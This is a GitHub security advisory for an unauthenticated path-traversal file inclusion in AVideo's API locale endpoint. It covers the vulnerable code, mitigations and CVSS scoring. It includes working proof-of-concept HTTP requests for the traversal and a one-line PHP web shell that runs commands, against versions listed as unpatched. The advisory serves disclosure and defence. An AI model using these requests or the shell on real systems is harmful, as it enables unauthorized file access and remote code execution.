Skip to content

AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)

High severity GitHub Reviewed Published Mar 20, 2026 in WWBN/AVideo • Updated Mar 20, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.

Details

  • Entry point: plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret.
  • Handler: plugin/API/API.php, method get_api_locale() (lines ~5009–5023):
    $parameters['language'] = strtolower($parameters['language']);
    $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php";
    if (!file_exists($file)) { return new ApiObject("This language does not exists"); }
    include $file;
    No validation is performed; ../ traversal is accepted.
  • Because include executes PHP, any reachable PHP file is executed in the web server context.

PoC

  1. Fetch an arbitrary PHP file (no auth):
    GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1
    Host: <target>
    
    Response returns the rendered About page HTML, proving traversal outside locale/.
  2. RCE with an attacker PHP file (any writable PHP path):
    GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami
    
    If shell.php contains <?php system($_GET['x']); ?>, the response includes command output.

Impact

  • Unauthenticated file inclusion of arbitrary PHP files under the web root.
  • Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.
  • Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build).
  • Affects any deployment with the API plugin enabled (default in docker-compose).

Mitigation

  • Reject path separators/dots and enforce a strict allowlist of locale slugs.
  • realpath the target and ensure it stays within $systemRootPath/locale.
  • Stop using include for translations; load data from vetted formats (JSON/array).
  • Add authentication (API secret/token) to the endpoint as a secondary control.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 20, 2026
Published to the GitHub Advisory Database Mar 20, 2026
Reviewed Mar 20, 2026
Last updated Mar 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in require, include, or similar functions. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-8fw8-q79c-fp9m

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.